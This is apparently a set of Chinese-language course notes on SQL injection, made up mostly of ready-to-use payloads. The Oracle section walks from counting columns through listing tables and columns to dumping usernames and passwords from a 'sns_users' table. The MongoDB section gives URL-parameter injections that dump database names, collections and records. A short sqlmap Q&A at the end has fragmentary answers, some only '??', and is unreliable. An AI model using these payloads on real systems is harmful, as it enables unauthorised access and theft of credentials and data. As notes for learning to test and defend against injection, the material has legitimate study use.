SQL注入课程体系;
参考资料:【实战】Oracle注入总结
# 判断字段数
order by 3
# 测回显
and 1=2 union select '1','2' from dual //要加单引号
# 查看数据库名(每次只能查一条数据)
and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SEESION_EVOLVE$')) from dual
# 模糊爆库
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual //%..%之间的内容为你想要的库名可能包含得关键词
# 爆列名
and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
# 爆其他列名
and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
# 爆数据
and 1=2 union select user_name,user_pwd from "sns_users"
# 爆其他数据
and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
在python环境中,一般用MongoDB。
# 测回显
/new_list.php?id=1'});return ({title:1,content:'2
# 爆库名
/new_list.php?id=1'});return ({title:tojson(db),content:'2
# 爆表名
/new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'2 //db.getCollectionNames()()返回得是数组,需要用tojson转换为字符串
# 爆字段内容
/new_list.php?id=1'});return ({title:tojson(db.Authority_confidentail.find()[0]),content:'2 // db.Authority_confidentail是当前用的集合(表),find函数用于查询,0是第一条数据。
sqlmap支持哪些数据库注入?
不支持
nosql
sqlmap支持哪些sql注入模型?
带外
指的是类型dnslog这类得注入。
sqlmap支持其他不一样功能?
??sqlmap提供了很多脚本。
使用sqlmap一般注入流程分析?
??如果碰到一些网站,登陆后的注入点;电脑能访问,手机不能访问。建议使用sqlmap -r
参数使用数据包进行跑。